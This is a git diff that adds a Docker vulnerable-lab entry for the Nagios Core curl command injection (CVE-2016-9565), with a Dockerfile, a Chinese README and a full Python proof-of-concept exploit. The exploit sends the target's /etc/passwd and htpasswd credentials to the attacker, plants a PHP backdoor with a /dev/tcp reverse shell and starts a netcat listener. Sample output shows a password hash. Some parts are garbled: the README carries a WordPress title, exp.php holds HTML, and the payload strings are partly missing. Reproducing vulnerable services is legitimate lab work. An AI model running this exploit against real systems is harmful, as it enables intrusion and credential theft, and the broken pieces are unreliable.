diff --git a/README.md b/README.md
index 24cf6ac..058f9e5 100644
--- a/README.md
+++ b/README.md
@@ -56,6 +56,7 @@ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-037
* [C](#c)
* [I](#i)
* [J](#j)
+* [N](#n)
* [O](#o)
* [R](#r)
* [S](#s)
@@ -82,6 +83,10 @@ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-037
* [Jenkins](./j/jenkins/)
* [Joomla!](./j/joomla/)
+### [N](./j/)
+
+* [Nagios](./nagios/)
+
### [O](./o/)
* [OpenSSL](./o/openssl/)
diff --git a/n/README.md b/n/README.md
new file mode 100644
index 0000000..1e9665f
--- /dev/null
+++ b/n/README.md
@@ -0,0 +1,4 @@
+N
+---
+
+* [Nagios](./nagios/)
diff --git a/n/nagios/1/Dockerfile b/n/nagios/1/Dockerfile
new file mode 100644
index 0000000..bf5aa3b
--- /dev/null
+++ b/n/nagios/1/Dockerfile
@@ -0,0 +1,8 @@
+FROM quantumobject/docker-nagios:latest
+
+COPY src/exp.php /usr/local/nagios/share/exp.php
+
+RUN set -x \
+ && sed -i '99d' /usr/local/nagios/share/includes/rss/rss_fetch.inc \
+ && mkdir /tmp/tmp && chown www-data:www-data /tmp/tmp \
+ && chown nagios:nagios /usr/local/nagios/share/exp.php
diff --git a/n/nagios/1/README.md b/n/nagios/1/README.md
new file mode 100644
index 0000000..1bdf8bb
--- /dev/null
+++ b/n/nagios/1/README.md
@@ -0,0 +1,98 @@
+## WordPress Mailpress Plugin 远程代码执行漏洞
+
+### 漏洞信息
+
+ * [Nagios Core < 4.2.2 Curl Command Injection/Code Execution](https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html)
+
+Nagios 是一款监控IT基础设施的程序，近日安全研究人员 Dawid Golunski 发现在 Nagios Core 中存在一个代码执行漏洞：攻击者首先伪装成 RSS 订阅源，当受害应用获取 RSS 信息时攻击者将恶意构造的数据传给受害者，程序在处理过程中将恶意数据注入到了 curl 的命令中，进而代码执行。
+
+
+### 漏洞分析
+
+参考: [Nagios Core 代码执行漏洞（CVE-2016-9565）分析](http://paper.seebug.org/146/)
+
+### 镜像信息
+
+类型 | 用户名 | 密码
+:-:|:-:|:-:
+HTTP 基础认证 | nagiosadmin | admin
+Web 路径 | /nagios/ | -
+Web 物理路径 | /usr/local/nagios/share | -
+PoC/Exp 路径 | /nagios/exp.php?url=http://xx.xxx.xxx.xx/ | -
+
+### 获取环境:
+
+1. 拉取镜像到本地
+
+ ```
+$ docker pull medicean/vulapps:n_nagios_1
+ ```
+
+2. 启动环境
+
+ ```
+$ docker run -d -p 8000:80 medicean/vulapps:n_nagios_1
+ ```
+ > `-p 8000:80` 前面的 8000 代表物理机的端口，可随意指定。
+
+访问: `http://127.0.0.1:8000/nagios/` 出现基础认证框则代表成功
+
+### 使用与利用
+
+#### Exp 使用
+
+> 假定攻击者服务器 IP 地址为：2.2.2.2
+
+1. 在攻击者服务器运行 nagios_cmd_injection.py
+
+ ```
+sudo python nagios_cmd_injection.py 2.2.2.3 9999
+ ```
+
+ > 2.2.2.3 是攻击者监听反弹 shell 的IP地址，可与RSS地址一样
+
+2. 访问 http://xxxx/nagios/exp.php?url=http://2.2.2.2/
+
+ 输入 HTTP 基础认证的账号密码
+
+ > exp.php 是验证漏洞时添加的，真实环境中不存在。注意最后一个 `/`
+
+3. 在攻击者服务器看到如下输出即代表成功
+
+ ```
+ ➜ sudo python nagios_cmd_injection.py 192.168.30.194 8080
+
+ Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit
+ CVE-2016-9565
+ nagios_cmd_injection.py ver. 1.0
+
+ [+] Generating SSL certificate for our python HTTPS web server
+
+ [+] Starting the web server on ports 80 & 443
+
+ [+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)
+
+ [+] Received GET request from Nagios server (192.168.30.xxx) ! Sending redirect to inject our curl payload:
+
+ -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii /usr/local/nagios/share/nagios-backdoor.php
+
+ [+] Success, curl payload injected! Received data back from the Nagios server 192.168.30.xxx
+
+ [*] Contents of /etc/passwd file from the target:
+
+ root:x:0:0:root:/root:/bin/bash
+ daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+ bin:x:2:2:bin:/bin:/usr/sbin/nologin
+ www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+ backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+ nagios:x:999:999::/usr/local/nagios:
+
+ [*] Contents of /usr/local/nagios/etc/htpasswd.users file:
+
+ nagiosadmin:$apr1$c3z3k5K8$lk.GET0vWb.WWJidJt84o1
+```
+
+### 参考链接
+
+* [Nagios Core < 4.2.2 Curl Command Injection/Code Execution](https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html)
+* [Nagios Core 代码执行漏洞（CVE-2016-9565）分析](http://paper.seebug.org/146/)
diff --git a/n/nagios/1/nagios_cmd_injection.py b/n/nagios/1/nagios_cmd_injection.py
new file mode 100644
index 0000000..a045ee1
--- /dev/null
+++ b/n/nagios/1/nagios_cmd_injection.py
@@ -0,0 +1,173 @@
+#!/usr/bin/env python
+intro = """\033[94m
+Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit
+CVE-2016-9565
+nagios_cmd_injection.py ver. 1.0
+
+Discovered & Coded by:
+
+Dawid Golunski
+https://legalhackers.com
+\033[0m
+"""
+usage = """
+This PoC exploit can allow well-positioned attackers to extract and write
+arbitrary files on the Nagios server which can lead to arbitrary code execution
+on Nagios deployments that follow the official Nagios installation guidelines.
+
+For details, see the full advisory at:
+https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
+
+PoC Video:
+https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
+
+Follow https://twitter.com/dawid_golunski for updates on this advisory.
+
+Remember you can turn the nagios shell into root shell via CVE-2016-9565:
+https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
+
+Usage:
+
+./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port]
+
+Disclaimer:
+For testing purposes only. Do no harm.
+
+"""
+
+import os
+import sys
+import time
+import re
+import tornado.httpserver
+import tornado.web
+import tornado.ioloop
+
+exploited = 0
+docroot_rw = 0
+
+class MainHandler(tornado.web.RequestHandler):
+
+ def get(self):
+ global exploited
+ if (exploited == 1):
+ self.finish()
+ else:
+ ua = self.request.headers['User-Agent']
+ if "Magpie" in ua:
+ print "[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\n" % self.request.remote_ip
+ print '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\n'
+ self.redirect('https://' + self.request.host + '/nagioshack" -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '"', permanent=False)
+ exploited = 1
+
+ def post(self):
+ global docroot_rw
+ print "[+] Success, curl payload injected! Received data back from the Nagios server %s\n" % self.request.remote_ip
+
+ # Extract /etc/passwd from the target
+ passwd = self.request.files['passwd'][0]['body']
+ print "[*] Contents of /etc/passwd file from the target:\n\n%s" % passwd
+
+ # Extract /usr/local/nagios/etc/htpasswd.users
+ htauth = self.request.files['htauth'][0]['body']
+ print "[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\n\n%s" % htauth
+
+ # Extract nagios group from /etc/group
+ group = self.request.files['group'][0]['body']
+ for line in group.splitlines():
+ if "nagios:" in line:
+ nagios_group = line
+ print "[*] Retrieved nagios group line from /etc/group file on the target: %s\n" % nagios_group
+ if "www-data" in nagios_group:
+ print "[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\n"
+ docroot_rw = 1
+
+ # Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii'
+ # option. The output trace should contain an unwrapped line similar to:
+ #
+ # == Info: Server /dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); ?> is not blacklisted
+ #
+ # which will do the trick as it won't mess up the payload :)
+ self.add_header('Server', backdoor)
+
+ # Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via ![]()
tag :)
+ print "[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \n"
+ self.write(xmldata)
+
+ self.finish()
+ tornado.ioloop.IOLoop.instance().stop()
+
+
+if __name__ == "__main__":
+ global backdoor_path
+ global backdoor
+
+ print intro
+
+ # Set attacker's external IP & port to be used by the reverse shell
+ if len(sys.argv) < 2 :
+ print usage
+ sys.exit(2)
+ attacker_ip = sys.argv[1]
+ if len(sys.argv) == 3 :
+ attacker_port = sys.argv[1]
+ else:
+ attacker_port = 8080
+
+ # PHP backdoor to be saved on the target Nagios server
+ backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php'
+ backdoor = """/dev/tcp/%s/%s 0<&1 2>&1 &'"); die("stop processing"); ?>""" % (attacker_ip, attacker_port)
+
+ # Feed XML containing JavaScript payload that will load the nagios-backdoor.php script
+ global xmldata
+ xmldata = """
+
+
+ Nagios feed with injected JS payload
+ -
+ Item 1
+
+
+ Feed injected. Here we go -
+ loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;)
+
+
+
+
+
+
+
+
+ """
+
+
+ # Generate SSL cert
+ print "[+] Generating SSL certificate for our python HTTPS web server \n"
+ os.system("echo -e '\n\n\n\n\n\n\n\n\n' | openssl req -nodes -new -x509 -keyout server.key -out server.cert 2>/dev/null")
+
+ print "[+] Starting the web server on ports 80 & 443 \n"
+ application = tornado.web.Application([
+ (r'/.*', MainHandler)
+ ])
+ application.listen(80)
+ http_server = tornado.httpserver.HTTPServer(
+ application,
+ ssl_options = {
+ "certfile": os.path.join("./", "server.cert"),
+ "keyfile": os.path.join("./", "server.key"),
+ }
+ )
+ http_server.listen(443)
+
+ print "[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\n"
+ tornado.ioloop.IOLoop.current().start()
+
+ if (docroot_rw == 1):
+ print "[+] PHP backdoor should have been saved in %s on the target by now!\n" % backdoor_path
+ print "[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)\n"
+ os.system("nc -v -l -p 8080")
+ print "\n[+] Shell closed\n"
+
+ print "[+] That's all. Exiting\n"
+
+
diff --git a/n/nagios/1/src/exp.php b/n/nagios/1/src/exp.php
new file mode 100644
index 0000000..65bc1e3
--- /dev/null
+++ b/n/nagios/1/src/exp.php
@@ -0,0 +1,456 @@
+
+
+
+
+
+README
+
+
+
+
+
+
+
+WordPress Mailpress Plugin 远程代码执行漏洞
+
+漏洞信息
+
+
+
+Nagios 是一款监控IT基础设施的程序，近日安全研究人员 Dawid Golunski 发现在 Nagios Core 中存在一个代码执行漏洞：攻击者首先伪装成 RSS 订阅源，当受害应用获取 RSS 信息时攻击者将恶意构造的数据传给受害者，程序在处理过程中将恶意数据注入到了 curl 的命令中，进而代码执行。
+
+漏洞分析
+
+参考: Nagios Core 代码执行漏洞（CVE-2016-9565）分析
+
+镜像信息
+
+
+
+
+| 类型 |
+用户名 |
+密码 |
+
+
+
+
+
+| HTTP 基础认证 |
+nagiosadmin |
+admin |
+
+
+| Web 路径 |
+/nagios/ |
+- |
+
+
+| Web 物理路径 |
+/usr/local/nagios/share |
+- |
+
+
+| PoC/Exp 路径 |
+/nagios/exp.php?url=http://xx.xxx.xxx.xx/ |
+- |
+
+
+
+
+获取环境:
+
+
+拉取镜像到本地
+
+$ docker pull medicean/vulapps:n_nagios_1
启动环境
+
+$ docker run -d -p 8000:80 medicean/vulapps:n_nagios_1
+-p 8000:80 前面的 8000 代表物理机的端口，可随意指定。
+
+
+访问: http://127.0.0.1:8000/nagios/ 出现基础认证框则代表成功
+
+使用与利用
+
+Exp 使用
+
+
+假定攻击者服务器 IP 地址为：2.2.2.2
+
+
+
+在攻击者服务器运行 nagioscmdinjection.py
+
+sudo python nagios_cmd_injection.py 2.2.2.3 9999
+2.2.2.3 是攻击者监听反弹 shell 的IP地址，可与RSS地址一样
+
访问 http://xxxx/nagios/exp.php?url=http://2.2.2.2/
+
+输入 HTTP 基础认证的账号密码
+
+
+exp.php 是验证漏洞时添加的，真实环境中不存在。注意最后一个 /
+
在攻击者服务器看到如下输出即代表成功
+
+➜ sudo python nagios_cmd_injection.py 192.168.30.194 8080
+
+Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit
+CVE-2016-9565
+nagios_cmd_injection.py ver. 1.0
+
+[+] Generating SSL certificate for our python HTTPS web server
+
+[+] Starting the web server on ports 80 & 443
+
+[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)
+
+[+] Received GET request from Nagios server (192.168.30.xxx) ! Sending redirect to inject our curl payload:
+
+-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii /usr/local/nagios/share/nagios-backdoor.php
+
+[+] Success, curl payload injected! Received data back from the Nagios server 192.168.30.xxx
+
+[*] Contents of /etc/passwd file from the target:
+
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+nagios:x:999:999::/usr/local/nagios:
+
+[*] Contents of /usr/local/nagios/etc/htpasswd.users file:
+
+nagiosadmin:$apr1$c3z3k5K8$lk.GET0vWb.WWJidJt84o1
+参考链接
+
+
+
+
+